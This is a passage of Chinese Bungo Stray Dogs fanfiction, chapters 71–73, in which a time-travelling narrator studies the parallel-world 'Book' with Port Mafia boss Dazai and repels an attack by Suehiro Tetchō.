卧槽! 我可一个字都没有说,你不要太荒谬啊,太宰治! “一个能够重新定义时空概念的‘中立地带’。”他舔了舔嘴唇,兴奋的神色不言而喻,“那些特殊的力量……异能力的起源、异形力量的出现,它们都有源头。那世界本身呢,世界本身的出现是否也有自己的源头?时间和空间的概念是否也有起始和终结……” 好家伙,大哲学家,太宰治。 我嘴角一抽,震惊这种情绪积累得多了,就变成了无语+无奈。 “太宰,认真地说,你有想过进修一下自己的哲学专业吗?”我觉得我的脸都变形了,“就是那种‘生存还是毁灭’的辩证思考。时间和空间原本就不是绝对的概念,就像是‘先有鸡还是先有蛋’这样的问题一样,对我来说,这就是无意义的问题。” 不要让我想起考哲学的那些年,都是噩梦。 要么是题目抽象,要么是我抽象,总之是要有一方受侮辱的,而且这受侮辱的一方通常还不是题目。 宰子向后看了一眼蹲在树下的敦敦和站在坑中的中也,在我完全没有get到的情况下,了然一笑,“有没有意义,也不是现在就能说得清的。我听说你求助于武装侦探社——但要是论在横滨的势力,恐怕没有谁能和港|黑比肩,也没有谁能比港|黑更容易实现你的目的。你又何必舍近求远,徒增烦恼。” 我眼睛一亮,这应该不是我的误解吧? “话是如此,但港|黑的门槛,不是谁都有资格踏入的吧?”我以退为进,多试探了一次他的心意。 宰子一把揽在我肩上,“门槛儿又算得了什么,这个世界上,恐怕还没有你进不去的地方——不,应该说,没有你无法踏足的世界。” 70-80 第71章 港口黑|手|党不愧是横滨第一大势力, 这个装潢、这个待遇—— 太爽了吧! 我起跳、旋转,整个人扑到床上,柔软的床垫将我弹了起来。 这是宰子帮我安排的房间, 按照他的调性, 这房间内的每一个缝隙都有安装监控、窃听的可能—— 我刚刚进入房间的时候,看这个房间好似哪里都有问题。 但很快我就释然了。 揣测宰子实在是太耗费我的脑细胞,与其瞎想, 倒不如简单一点。 他如果真的想要监视我,防是肯定防不住的,而如果他不打算监视我,那我岂不是瞎折腾自己, 白费力气? 想明白这些, 我就坦然起来。 剩下那些白费的力气,我不如多想一下,宰子的目的究竟是什么。 「书」就在他手上,他到底为什么需要我出现在这个世界上,所谓想要改变的“未来”究竟是哪一方面。 IF线里, 宰子所做一切的最终结果, 就是在确保了横滨稳定的环境下,完成了织田作的存活主线。 换而言之, 他的目的在原时间线上就展露无遗, 并且也完全不需要我的辅助。 所以现在的他,一定是在IF主线之外, 另有所图。 我躺在床上, 就连休息做梦都满脑子猜测——多好的五星级环境, 但我却完全没睡好。 不过, 我这“没睡好”至少算是有个休息的过程, 某位首领先生,连睡觉的过程都没有。 我第二天再和他见面的时候,他的黑眼圈肉眼可见得更加清晰了。 能想象吗,多年不见阳光的苍白皮肤再加上多日不睡的黑眼圈——Buff叠满,和个鬼一样。 “我说,您这边是完全不用睡觉的吗?”我不由得吐槽了一句。 宰子靠在椅子上,大白天也不能打开铁墙铁窗,光亮只来自天花板上的吸顶灯。 终年不见光,另一种意义上的铁窗泪。 拜托,至少也换个亮一点的灯光吧,这暗黄柔光,是真的嫌弃自己眼睛坏得不够快吗? 可恶,在这种环境下全天候工作,竟然还能保证5.0以上的视力,近视人的破防只在一瞬间。 “睡觉这种事实在是太浪费时间了。”宰子理所当然地贬斥了睡觉这项有益身心的行为。 你要不要听听你自己在说虎狼之词。 不睡觉可是一种极致刑罚,要是换了我,那真是生不如死。 “当世界不需要我死的时候,不论怎么折腾都是不会死的。”宰子自嘲了一句。 言外之意就是,只要熬不死,就往死里熬。 可恶,被卷到了。 我嘴角一抽,赶紧把话扯走了,“说正事吧,太宰。” “这么着急吗?”宰子脸上的绷带少见地有些松垮,绷带的缝隙之间,是和其他地方完全没有色差的皮肤。 没有色差……他是真的一点阳光也不见啊。 “只是觉得没有必要多扯皮罢了。” 听了我的话,宰子给了中也一个眼神。 这就是示意他出去了。 后者的脸有一瞬间的扭曲,紧接着,那双瞳孔就恶狠狠地看向了我。 仿佛是在警告一样。 很显然,中也并不信任我,也并不想放任宰子和我独处。 但,这是港|黑,一个有绝对上下级关系的地方。 中也咬着牙,用身体溢出的力量震动散发威胁,和我错身之际,还不忘低声对我放狠话。 “你最好别搞什么小动作,否则我会让你知道黑|手|党的黑字怎么写。” 其实,我是文科生来着。 我的眼神追随着中也的背影,虽然身高受限,但这几步完全就是两米的气势。十分的西装在中也身上能发挥出一百分的气质来,尤其是腰部以下,板正、挺翘! ——中也,真的好辣! 总有一天,我也要让他知道,痴汉的痴字怎么写! “怎么了,是觉得中也有什么问题吗?” 我在看中也,宰子在看我。 奇怪的修罗场画面增加了。 “不,只是在想,什么问题是需要他回避的。”我收回视线,不禁做起了人生赢家的白日梦。 出任穿越司CEO,迎娶双黑,走上人生巅峰—— 确实是只有梦里才会出现的画面,主线双黑也就罢了,IF宰中完全不是我能肖想的。 还是压榨安吾更加实际一点。 但话又说回来了,我现在好像完全没有接触安吾的理由和机会啊。 在宰子的眼皮子下面去找搞安吾,和直接脱马甲有什么区别? “与其说‘要他回避’,还不如说是……”宰子的声音突然低了下去,一瞬间,我只能看到他的嘴唇似乎动了几下。 这个状态的我,读唇语什么的,完全不在话下,但此刻,我却看不清他在说什么。 怪不得要把灯光弄得这么暗,原来另有心机。 没让我多吐槽几句,宰子马上就用行动堵住了我的嘴。 他打开抽屉,将一个木质的盒子取出,放在桌上。 几乎不需要打开,只是隔着层层模板,我就仿佛感受到了什么,不可自抑地猛站起来。椅子倒在地上,发出沉闷的声音。 我伸出手来,清晰地感觉到自己的皮肤在战栗。仿佛从来没有这么容易过,这股力量近在咫尺,就在我一手之内。 ——「书」。 不会错的,能够带来这种力量感的,只可能是「书」。 在对力量的认证上,我甚至比宰子还要专业。这个世界里,只有我已经接触过许多次类似于此的世界核心。 也只有我,在穿越之前,和基友仔仔细细地解构过这种类型的力量。 我是最了解的,所以我的感觉绝不会出错。 而且,宰子都已经把我剖析得那么深了,此时也没有必要在这种问题上做无用功。 “啊,你已经感觉到了啊,这个东西的气息如此明显吗?”宰子的手指松垮地耷拉在木盒顶,若有似无地摩挲着木纹。 在他面前,我真的很难不迪化,大脑不受控制地就在思考这个木盒的特别之处。 “没有什么特别的哦,只是个普通的木盒,中也用来藏酒——「人间失格」和「书」的相性度真是太差了,会有一些无聊的负面效果。” 我把我的心声说出来了? “没有,只是你脸上写满了答案而已。”宰子的回答无缝衔接,“这么惊愕?要是你昨天也如此简单,我就不用邀你到此了。” 真是清晰的画外音。 如果我对他来说太过愚蠢,那我就只是一个工具。 宰子和陀总还真是知己,即使隔着一个世界还是达成了共识。 “如果「人间失格」和「书」真的不相容,你又怎么能通过它来窥探平行世界?” 用笔在上面写东西是一方面,但要“进入”「书」内,以「书」为桥来观测就是另一个层面的问题了。 这种级别的力量,如果不接触的话,是无法真正深入使用的。 就像主线的武侦宰,他确实也使用了「书」的力量,但他对「书」的理解和应用,绝对没有到IF宰的级别。 「人间失格」的异能力是被动技能,那…… 宰子没有马上回答,而是将木盒打开,直接伸手,将书拿了起来。 他甚至故意把手上的绷带拆了下来,确保了直接接触。 但——预想当中,反异能力和「书」之间的反应没有出现。 宰子接着一松手,让「书」“咔”的一声,掉在了桌面上。 此时,他才开口,“用和你一样的方法。” 沿着宰子被绷带层层包裹的脖颈,我看向了他毫无起伏的胸口。 有些淡化的记忆重新上浮—— 对的,我确实,我也用过相同的方法来屏蔽「人间失格」。 心跳静止。 异能力这种东西是和生命挂钩的,但异能力并没有人类本身的智慧,心脏静止数秒后,异能力就会失效。 像宰子这样可以控制自己心跳的BUG,可以让自己的大脑在异能力的“死亡判定”后,继续运作数秒。 在这数秒的间隙里,他就有了研究「书」的机会。 可这绝对不是什么健康的方式,心脏多次、频繁地停止,对身体的负荷极大。 我之前可是亲身尝试过,自然最有发言权。 对宰子来说,静止心脏就像是普通人屏息一样简单自如,可简单不意味着健康。 难怪,宰子的身体能虚弱成这样。 如果说武侦宰那所谓“体术差”只是中也这种大师的调侃,那眼前这个IF宰的“弱”,绝对毫无水分。 如果没有宽肩支撑着故意大一号的衣服,我都怀疑他身上有没有真正能撑起衣服的肉。 宰子,对别人狠,对自己更狠。 “现在的你应该不会有「人间失格」的反应了吧?不想看看吗,这份力量的完整模样。” 当然想,想得不得了。 在宰子所观测到的世界中,我并没有真正使用过「书」的本体。 事实也确实如此,即使通过一些经验、借助咒回的诅咒载体对“核心”这种类型的力量有了认知,但我确实没有触碰过「书」。 总觉得宰子看我的眼神充满了不加掩饰的期待,像是在等待观察某些反应一样。 大脑中的某根弦在这种眼神的刺激下拉响了警报,各种疑问不断闪现。 为什么如此容易就接触到了「书」? 为什么在什么目的都没有表明的情况下,就直接拿给了我? 为什么故意把中也支出去? 为什么明明知道自己体弱,我能轻易夺走「书」的情况下,还如此坦然。 真的不怕我抢走「书」之后就不认账吗? 还是说有什么后手? 他掌控了「书」这么长时间,在探究其本质之前,他在上面书写过多少东西? 现在所发生的一切,也是他写在「书」上的吗? 那我现在究竟是按照自己的意志在行动,还是在「书」的影响下行动? 「书」和世界意识,从某种意义上来说真的很像—— 都是在用一种难以被察觉的方式影响人的意志,然后用这种“影响”来指引世界——或者说故事的走向。 不同的是,世界意识代表的是世界的集合意志,而「书」代表的事某个人的意志。 我的手虚虚地放在「书」上——拿,还是不拿? 在宰子的眼里,一切究竟是什么样的? 第72章 什么叫如芒刺背, 我今天可算是知道了。 宰子明明就坐在我面前,但我却看不透他。我不知道在他的眼里,这个世界是什么样的, 也不知道在他的眼里, 我是什么样的。 但有一件事再清晰不过了。 那就是「书」就在我眼前,我之所求,就在我眼前。 不论宰子想要测试我什么, 这个绝对物质是无法改变的。 没道理机会直白地放在我面前,我却不使用。 我一咬牙,不再顾忌什么,一把抓住了「书」的纯白封皮 ……没有反应? 旁边的宰子紧盯着我和封皮接触的手指, 似乎连我皮肤是颤动都看得一清二楚。 “怎么了?” 宰子马上就注意到了我的迟疑, “和你记忆中的「书」有什么不一样的吗?” 我吸了一口气,摇摇头,“不,没有——只是觉得,它和我想象当中很不同。” “普通, 对吧?”宰子似乎很有同感, “确实,我刚拿到的时候也很惊讶, 这么普通的白皮书, 放在文具店里没有让人购入的欲望。” “但你还是注意到了。” “嗯哼,毕竟我不是在文具店里找到「书」的。那样一个脏兮兮的下水道里, 这样一尘不染的东西, 还是很难让人忽略的。” 下水道? 世界意识可真有品, 下水道藏神器—— 6。 更6的是, 一想到宰子趴在地上掏下水道…… 画面太美, 简直不敢想。 “本来还以为是谁的异能力,没想到,它竟然这么神奇。”宰子摩挲着自己的手指。 既然最初的设想是异能力,以他的性格,当时一定是直接下手触碰到了「书」。 那个瞬间必然触动了某些东西。 「人间失格」触发了「书」的某种机制。 我将其翻开,里面是一张又一张的白纸,我快速扫过去,一页页的白纸没有一点文字痕迹,也没有什么撕扯后的锯齿。 完全不像是有人用过的样子。 但翻了数秒后,我突然意识到,这本看上去只有一指厚的「书」根本翻不到。 “注意到了吧,「书」是无限的。” 我马上就意识到,在一个无限大的树林里去寻找一棵树,是极不理智的事。 “也就是说,如果不是使用者的话,外人想要找到被使用过的地方,是几乎不可能事。”我迅速就意识到了,使用痕迹和观测痕迹是相同类型的东西。 我无法在「书」上找到宰子的使用痕迹,那宰子又是如何多次重复观测到同一个平行世界的呢? 毕竟想要发现“改变”,就必然要有参照,他对主线世界,至少观测了两次。 ——锚点…… 我大脑中冒出了这个词。 就像我也能在万千世界里,精准地找到自己想要穿越的世界一样,宰子一定也有一个“锚点”。 我的手一顿,眼睛随着思考的过程一转,定在了宰子的绷带上。 电光石火之间,我像是被打通了任督二脉一样,突然用自己穿越的方式和经历对标在「书」的使用上,瞬间理解了宰子要表达的一切。 “你,其实是把自己当作锚点了,对吧?” 我从他的笔筒里,抽出一把小刀,直接在自己指尖剌开一刀。 顿时,血珠沿着伤口渗出,滴在「书」页纸上。 鲜艳的红色就像是坠入了水池一样,在硬质的页面上,荡开了不合常理的涟漪。 紧接着,整页开始收缩,边缘回凹成了小纸人的状态。宰子也凑了上来,眼见着小纸人上显现出我皮肤上的纹路。 荒纹。 这个小纸人,代表的就是我。 薄薄一层,只有一页。 “啊,竟然真的存在啊,无数平行世界里只存在一个个体特例。”宰子蹲下来,让自己的眼睛和「书」页平行,“果然,你是你自己,不是任何人的同位体。” 不需要我问什么,他马上就给我解了惑。从我手上接过小刀,宰子将自己的血珠滴在了和我对称的另外一页。 同样的反应之下,他的那个缠绷带的小纸人,竟然有厚厚一沓。 我瞳孔一缩,“这些,全是你的同位体?” 有多少厚度、有多少页,就有多少同位体……对吧? “和聪明人说话,就是简单。”宰子吹了一口气,在不接触的情况,厚厚的小纸人一页一页地翻过去,最后停在了最中间的一页。 然后,他看着我,“翻一翻试试?” 我半信半疑,但却没有真的拒绝。 这么厚的小纸人中,只有翻开的正中页,隐隐泛黄。 这么厚的一本书,这还是唯一有那么一丁点色彩感的地方。 不是那种老旧的黄色,而是浅浅的驼色……像是,武侦宰的风衣。 我眼睛一空,这不会指的就是武侦宰吧? 武侦宰的主线世界? 我思绪纷乱着,上手一翻。 “诶?” 奇怪,明明看着有厚厚一摞,怎么一页也翻不出来? 仔细在页脚一搓,却隐约有一种粘连感。 “这——所以你才会一直关注着一个世界,甚至看到了那个世界的变化?” 是因为,从开始到最后,真正能够翻开的,就只有一页。 “没错,看上去有无数个同位世界,但实际上,能够观测的就只有一个。你觉得,这是为什么?” 我从口袋里摸出那个已经损坏的手环,思路从未有过的清晰,“想要连接两个世界,锚点和通道缺一不可。”我自己就是搞穿越的专业能手,这点事难道还想不通吗? “锚点就是这个,”我摩挲了一下手指上的伤口,接着一拍「书」,“而通道,就是指这个。” 宰子露出了满意的表情,“看来,你和我的看法相同。世界是无限的,但「书」是有限的,比起同位体之间的联系,这个通道才是绝对性的东西——” 我帮宰子确认了这个结论,因为我的“小纸人”具有唯一性。 不论同位体的多少,只要有“道路”,世界之间就会产生联结。 “也即是说……「书」,未必是这个世界的产物。”我好像明白了宰子思路,他跳出了世界的框架限制,直捣本质。 “是啊,黏连在一起的同位体——实际上就是在说,没有‘道路’的世界是封闭的。但,说不定‘封闭’才是世界该有的常态。「书」出现在我面前之前,我从来没有产生过世界之外的想法。可就在我看到它的那一刻,我就有一种预感,一切都会变得不一样。” 宰子少有的神情恍惚,像是回忆起了那日的场景一样,这本平平无奇的「书」从出现的那一刻起,就注定要不平凡。 我的穿越脑子飞速旋转,沿着宰子的思路,一个清晰、直观又简单的剧本在我的脑中成型。 面对宰子这样的人,层层套娃的剧本很容易露出破绽。既然如此,倒不如……化繁为简。 我将「书」合上,那厚厚的一沓小纸人被压在其中。书脊被削薄,那无限的「书」页被压在了一指之间。 “让谁捡到不好,偏偏是你。”我毫不避讳地将手环放在「书」面上。说实话,我有点寄希望于「书」的力量来修复手环。 我抬头,发现宰子根本就不感到意外,仿佛早就知道我身上带了这么个东西。 虽然算不上什么高科技,但它都已经坏掉了、甚至连摔痕都很清晰,我却一直带着它,这本身就说明了其重要性。 只是……宰子是什么时候翻了我的口袋? 还是说,房间内果然有监控。 “偏偏是你——实在是……何必去探究更深的东西呢?‘世界’已经很大了,即使封闭了边缘,依然有探索不尽的地方,你何必去深挖它的本质,以至于甚至要挖到世界之外去?”我自顾自地摇了摇头,“难道真的仅仅是未来改变一个人的未来?我知道另一个太宰那为数不多的真挚——但,他不是你,你也不是他。那个太宰所经历过的一切,都无法成就你,你是另一条时间线上的陌生人。” 实话实说,只有真正站到他面前,才能感觉到宰子的冷漠。 看IF线的时候,当然很轻易就能代入由武侦宰积淀出来的友谊和感情,我会下意识地将这种积淀的情感代入IF线中。 但那些观测到东西,对IF宰来说,果然还是太过苍白。 看到和经历过,是两个完全不同的概念——尤其是对宰子来说。 主线织田作不是说过吗,这个世界上没有能够超出宰子预料的事。如果“看过”能够和经历等同的话,这个世界上就没有宰子看不到的未来,也就等于没有宰子未曾经历的过去。 过去未来都成了完全的虚无。 宰子并不是虚无主义者,我能感觉到,他的眼睛仍然在“看”着什么——有目的地看着什么。 “你的目的是「书」。”宰子没有直接回答我,重复了一次早就摆在台面上的答案。 但这次他的语气,却显而易见的不同。 我垂下眼,“当然,但原本——我的目的,却不是你手上的这一本。或者应该说,至少第一个目标,不是你手上的这本。” 在宰子兜圈子开口之前,我直接用最简单的剧本给我自己的目的定了性。 无论如何,我都需要在宰子已经扒到的马甲边缘上,找到一个合理的平衡点。 “甚至,用‘目标’来形容实在是本末倒置,我不是来求「书」的,我是来回收它的。” 第73章 我的言语如此直白, 宰子当然马上就注意到了我的用词。 “回收……吗?”他并没有过多地追问,反倒像是有了自己的答案,甚至不打算和我对个答案。 我有些忐忑, 不知道自己想要的效果究竟达成了没有。 我需要再推一把吗? 犹豫之间, 他便率先整理好了思路,“如果是回收的话,一本两本、一个世界两个世界, 都不是阻碍。即使没有我,你也会想办法找到这个世界来。或许……在我死后的那个未来,你就不会这么被动了。若是我来做,也会选一个靠后的时间点。” 我敏感的天线一亮。 他这看似是在感叹, 实际上是在试探我是否能够控制穿越的时间点。 这么直白, 也太小看我了吧? “哪有那么容易,什么时候回收、如何回收,都不是那么简单一两句话的事。” 我还得看基友的眼色行事。 “防备心不要这么重啊,「书」在我手上这几年,已经越来越无聊了。和这个无法改变的死物相比, 果然还是活人更有意思。” 他说“活人”的时候, 那刻意的眼神,几乎就是在明示——怎么听起来, 我像个玩物一样? 不要物化我啊, 喂! 就在我吐槽的一秒之中,后背一阵凉意袭来, 寒毛仿佛有自己的想法, 直直地竖了起来。 瞬间, 我就意识到了危险。 我看着上句话还在暗戳戳挑逗我的宰子, 果断地扑了上去, 一手提起宰子的后领,将他甩到了我的身后。 几乎就在这一秒,锋利的气流斩到室内,钢筋水泥——甚至是港|黑特制的防护装置都没有丝毫阻挡,被整整齐齐地切开。 这可是港|黑大楼,在这股不知来由的锋利面前,竟只像是块豆腐一样,被切得如此整齐。 我的动态视野极好,几乎能看到这股气流的来源,那一点点刀尖被气流无限延长,发出了破空爆鸣。 在这股屋顶失衡下塌的声音都无法将其掩饰。 “太宰!”中也的反应也绝对不慢,只是他在门外——一门之隔,就让他来不及在第一时间,冲进房间里来。 就是这瞬间的“来不及”,被齐齐切开的房屋已经失去了“门”的意义,被切开的断口在一米六以下,他的视线直直越过了切缝。 我也能更清晰地看到他,那全身亮着红光,攻击欲望表露无遗。细看的话,就会发现他身前气流杂乱,刚才的冲击显然是断在了他的面前,被他挡住了。 中也和我的应对方式,如出一辙。 我抬起的手臂上擦过火花,这个攻击完全就是冲着斩断一切来的。但仅仅是气流,不会带起如此激烈的火花。 我眼睛一眯——带动这气流的,是一片极薄的刀片。 宰子的办公室,是整个港|黑最坚固的地方,四周这厚重的金属,让防御变得极为稳定。更何况,在横滨谁不知道,首领太宰治的首席干部中原中也,在他继位之后,就再也没有离开过其左右。 有这样的护卫在,谁敢来刺杀? 就算有人敢来,又有谁能成功? 可偏偏就是在刚才、就在中也离开宰子的片刻之中,刺杀就来了。 实在是很难让人不多想。 意外? 宰子也有这样点儿背的时候? 他揉了揉自己被撞疼的后脑,我刚才拿一下甩的,着实有些用力,“任何异能力的刺杀,对我都是无效的。” “所以既然是针对你的刺杀,就绝对不是异能力。”或者说,至少不仅是异能力。 这毕竟是港|黑,我下意识地就把宰子当做了被刺杀对象。 能够在港|黑顶层的高度,造成这样级别的伤害……除却异能力,又有什么技巧能做到这一点呢? 或许是这几年给宰子做首席的缘故,冲入房内的中也,第一反应不是追击,而是赶紧站到了宰子身边。 保护比追击还要重要,中也身上充满了激烈的辣味,他在恼火,甚至想要马上追击。 但他的冷静压过了一切不理智的情绪。 找出幕后黑手这样的事,是宰子的工作。 而中也的工作,是确保宰子能有命完成他的首领工作。 这个蓝中比主线中更加成熟,如果不是有能够感知到情绪的味道,我甚至无法察觉到此刻中也的求战欲望。 难怪,IF宰能那么放心把港|黑这么大的产业交给中也——情绪化的人、太有良心的人,都是当不了首领的。 宰子毕竟早有计划,相比是早就在刻意培养中也了。 这样也好,这样我才能放心去追。 有我和中也的力量支撑,头顶的坍塌才没有坠落地面、造成更大的损失。 我撤掉自己的重力,将港|黑大楼的护卫全权交给了中也,直接就是一个仰冲,翻到了楼顶—— 艹艹艹艹! 好高! 虽然经历过一些脱敏训练,但有些刻在DNA里的恐高症是很难改变的。我强迫自己不低头,所有的注意力,都集中到正前方。 那锋利力量的收束点,就在那里! 但借着那豁然开朗的视野和光线,我看到了那个点——好远! 这么大的力量,竟然不是在港|黑楼外。 我就说,港|黑楼外怎么会没有人警戒。 但那么远的地方,如果不靠异能力,仅凭人力,如何能切开大楼。 还是说,目标不是宰子? 所以才不需要规避「人间失格」的效果? 又或是来犯者根本连宰子的异能力都不知道? 重力发动,让我紧贴在墙壁外沿。 我眯起眼睛,想要看到更远的地方。 逆着气流的方向,我看到了远处的摩天轮顶,看到了那双持剑的手和被风撩起的头发,尤其是眼下三颗痣,简直是身份标志。 “铁啾——不,末广……铁肠。” 我瞪大了眼睛,他是怎么牵扯到这里来的? 虽然早就知道、也深有体会,真实的世界,不会像漫画的视角那样局限。 但……末广铁肠来生砍港|黑大楼、刺杀宰子? 怎么说呢,铁肠可真是不忘初心,不论宰子是在港|黑还是在武侦,都要让他瞧瞧犯罪的后果? 可IF线的港口黑|手|党如今空前扩张,甚至可以说是过度扩张。即使一副花团锦簇的样子,可实际上,港|黑本身“软件”的成长跟不上“硬件”的扩张,人员的素质和数量很不上扩张速度。 真正意义上的打天下容易,守天下难。 在港|黑现行的体制下,其一切运作都毫无疑问系于宰子一身。 这个担子不好担,若是宰子死了,再想在短时间内寻找一个和宰子同等级别的首领扛所有,别提有多难了,是无限接近于零的事。 外人可不知道宰子的那些布置,所以以不知内情的旁观者视角来看,宰子的死亡绝对会直接造成港|黑的瘫痪。 而以港|黑现在的地位和重要程度,它的瘫痪会直接引起横滨、乃至于与其相关所有组织、势力的地震。 就是因为各种利害关系都纠葛在一起,所以港|黑的位置才能如此稳固。 别说港|黑自己的实力,哪怕是异能特务科或是军|警,都不可能在这种时候选择直接刺杀。 不仅不会这样选择,甚至,他们还得想办法保护宰子。 在这种逻辑之下,政|府不可能授权做这种事——明里暗里都不会,他们现在都依靠着港|黑来收取大量税金,自己和港|黑的利益都挂钩在一起。 刺杀宰子=损人损己,没有人会这么蠢。 那究竟是…… “啊——不是猎犬的服装。”我瞳孔一缩,那身本应该焊死在铁啾身上的军装消失不见,取而代之的是一身更加张扬的白袍西装,将他那原本就空洞的面孔衬得更加不近人情。 突然,铁啾的头一转,突然对上了我的视线。 即使相隔数百米,我还是清晰地感觉到,他就是在看我。 果然,下一秒,破空之声再次传来。 这次,就是冲着我了。 红光沿着我的皮肤将我整个包裹起来——“叮!” 气流被重力切开,带动气流的本体打在了我身上,金属撞击的声音就是这样清脆。 这次我没有犹豫,接触的瞬间重力就覆盖而上。 我的手一抬,无限延长的剑身被挑飞,连带着持剑人也动了起来,双脚脱离了实体地面。 铁啾的战斗方式一直和武器挂钩,积累下来的战斗意识促使我在甩起铁啾之后,便优先破坏了他的武器。 任何金属,在重力面前都微不足道。 他的武器也绝对不是凡品,但—— “咔嚓”! 刀身震裂,碎成无数残片,每一片都被重力所包裹,成了我的暗器。 但远处,似乎处于始终状态的铁啾却丝毫不着急,刀身裂开,他毫不惋惜,只是随手一丢。 不,也不是随手一丢,刀柄错开他的身体,落向了他的正下方。 为什么说不是随手的? 因为那个刀柄它停住了,悬浮在空中的“停住了”。 是我的重力控制吗? 不对,和我没关系啊! 紧接着,那刀柄周身的纹路散开,“刷”的一下,几乎拓展成了一道十数米长环状光。 在我理解那光圈之前,我的手率先动作,无数刀片齐上,按照我的心意,直直冲向了光圈。 既然是未知的力量,就得先确定,那东西是不是实体。 碎片密集地让红光泛滥,和光圈撞在一起,像是在白天都不逊色的霓虹灯一样,交织起来,极具观赏性——对外人来说,极具观赏性。 但我的心情忐忑异常,因为我既没有切断的实感、也没有穿过无实体物的感知,那些冲入光圈内的碎片和重力,只是猝不及防地消失了。 就像是……被吞掉了一样。 “难道说,这一步的目的是——”我迅速意识到了什么,再向上看,铁啾已经在自由落体,一些武器残片擦伤了他的皮肤、撕开了整齐的衣装。但,残片不是冲着铁啾去的,而是冲着光圈去的。 只是一个错误判断,铁啾就已经直直地坠入了其中,消失在我眼前。 他消失的一瞬间,光圈也随之融入阳光之中,看不出一点存在过的痕迹。 “果然是撤退路线。”也不能说是错误判断,毕竟我不可能真的上来一句话不说就杀掉了铁啾吧? 这一步是必然的。 当然,即使我选择优先攻击铁啾,刀刃也未必有效。 他的皮肤强度很高,恢复力也超人般的强。 高攻高防,血还厚——这么强的初始设定,如果不在智这个元素上削减一点数据,那真是没法玩。 但,刚才的力量也绝对不是铁啾的异能力。 他的背后,还有什么人在操控一切,毕竟铁啾实在不是一个主动性很强的人,他和敦敦、芥芥一样,都是优秀的执行者。 我在脑子里迅速列了一个单子,文野里每一个习惯搞事的人都在名单上。 这就是上帝视角的好处,哪怕没有过多的情报,排除法也绝对够我用了。 这么多同人,搞来搞去,反派BOSS不总是那几个可能性吗? 鉴于现在宰子就在我面前,所以我决定将陀总的名字放在名单首位。 “啧!” 只可惜,我对铁啾的背景故事的了解,实在是有限——毕竟不在主角团,只是个帅哥配角,戳戳XP还可以,详细的过往经历并没有被详细展开过。 手上关于他的信息着实不多,即使我认出了他的身份,想要从他这里下手却也太难了。 思考间,我一低头。 港|黑这地标性质的绝地高楼,瞬间激出了我的冷汗。 溜了溜了。 我转身落回了室内,中也撑起了几根承重柱,将已经完全被开了盖的大楼顶稳住。 此时,房间内外迅速站了不少人。 人不多,但站位都很关键——承重柱、几个无法关闭的洞口,还有门窗几处薄弱之地。 更重要的是,他们几乎是将宰子围了起来,和宰子的距离都相当近。 这些人并非异能力者,只是普通人。如果进攻者真的是刚才那般的异能力者,这些普通人肯定是挡不住的。 但,他们的命可以作盾牌,用来延缓敌人对宰子的进攻却绝无问题 看他们的眼神就知道,这几个能在此时进入的人,都是货真价实的死士——忠诚、命令,他们的大脑中只有这两个词。 一眼看过去,他们简直像是鲁路修的死士一样,让他们去死,他们也绝不会犹豫。 中也更是对宰子寸步不离,脸上阴沉得可怕,像是随时都能暴起,冲上来给任何人一拳。 不是那种欺负宰子的拳头,而是货真价实的战力天花板之一拳超人。 反倒是风暴中心的宰子,他脸上不见,丝毫不见差点被腰斩的慌乱。 “认识的人?”宰子一看我的表情,就大概判断出了事件进展。 他这句话中的“认识”,指的当然是我在其他时间线上的经历和知识。 但,中也是这场对话的局外人,他并不知道我和宰子交换的信息。 我这话说出来,他的眼神都能杀人了,一瞬间完全把我当成了港|黑的敌人、把我当成了和铁啾一伙儿的敌人。 如果换了主线中也,更加激烈直观的情绪,或许就要直接出手了。 可眼前这个首席干部,是被宰子刻意培养出来的首领继任人,这种敌意之下,他却还是忍住了。 宰子眼里闪过一丝欣慰。 他刚才故意用那样的言语,果然也是为了测试一下中也。 他得斟酌这个继任者的资质。 没想到,宰子在这方面,竟还挺有责任心? 责任心和太宰治,总感觉是很小众的词语搭配。 我压制住想要抽抽的嘴角,“算是相熟,上一次见面的时候,就是未见其人,先见其刀。这些日子过去了,他还是如此,一往无前,是你最喜欢的‘黑|手|党’类型哦。” “执行者。”宰子一屁股坐到了被削掉了椅背的椅子上,跷着二郎腿看着我,“那就是说,‘脑’另有其人了。” “一定有,铁肠的思维很直接,爱恨黑白都很直接——当然,如果你们和他有过直接冲突的话,就不能完全排除他独立行动的可能。” 虽然可能性非常微小—— 宰子接收到我的询问,了然地看了一眼身侧,一个全身黑衣的女子走上前来。 不需要宰子开口,她就直接接上了我的话,“港口黑|手|党内没有叫做铁肠的人。和港|黑有关联的组织里,一个是上个季度合作的东京商会里,有一个叫做山本铁肠的会计和我方对接,但他是非异能力者;另一个是横滨地方会社的组织部长田中铁肠,去年和我们有过交集,也是普通人,二人与我们港口黑|手|党均无冲突。” 所以,这就是直接排除了那一点微小的可能性。 更重要的是——小姐姐好干练! 只是一个名字,就能如此果断地说出这么多信息。 谁懂啊,这句“港口黑|手|党内没有叫做铁肠的人”的含金量,意味着她得了解所有港|黑成员的身份。 要知道港|黑可是□□组织,从底层到高层,用假名的比比皆是。 连干部都能用A来做名字——这和给自己起个“路人甲”的花名有什么区别——再加上那些来往的组织成员信息,甚至精确到人,这其中涉及的信息量之庞大可想而知。 而且她也太漂亮了,黑长直、黑款眼镜加黑手套,简直绝杀! 还有这一身精致西装,白衬衣、棕领带,外套上还有细密的暗纹,在一点点光线的照射下才变得清晰。 是港|黑的商标。 ——对的,港|黑有商标。 昨天来的时候我就发现了,宰子办公桌上的笔筒,就挂着这个标志。 有些眼熟,我隐约记得去侦探社的路上,就看到过几次同款商标。 宰子真是很会规划,一味用黑色的手段是无法长期稳定存在的。扩张是一步,洗白、转移产业,就是另一个需要同步进展的方向了。 看得出来,这个世界的他对夏目猫咪的“三刻”完全不感兴趣。他要做的,是将三点收束,由港|黑来稳定一切。 我视线几乎无法从这漂亮小姐姐的脸上移开,倒不是我有什么色心,而是这个轮廓实在眼熟。 这么标志性的黑框眼镜,如果有这个角色,我应该能够很快认出来才对的…… “怎么,荒先生对我的秘书很感兴趣?” “秘书……秘书!”我眼睛一瞪,终于在大脑里只能摘掉了黑框眼镜——是银?! 难怪超人戴上眼镜别人就认不出来他了,这个厚重的黑框简直足够换人设。 银只是对着我微微颔首,不卑不亢,挺直的身板站在宰子身后,气势竟一点也不输给中也。 我毫不怀疑,这个银对港|黑情况的掌握程度,在中也之上。这样的极品秘书,就是宰子死了,她都不会倒,任谁继位都离不了她。 看着他们俩这左右护法、一文一武的样子,我心里一咯噔,无端地冒出一个想法来。 等等…… 若是想要洗白港|黑、给港|黑转型,那中也真的是最合适的首领吗? 我抬眼,对上了宰子的视线。 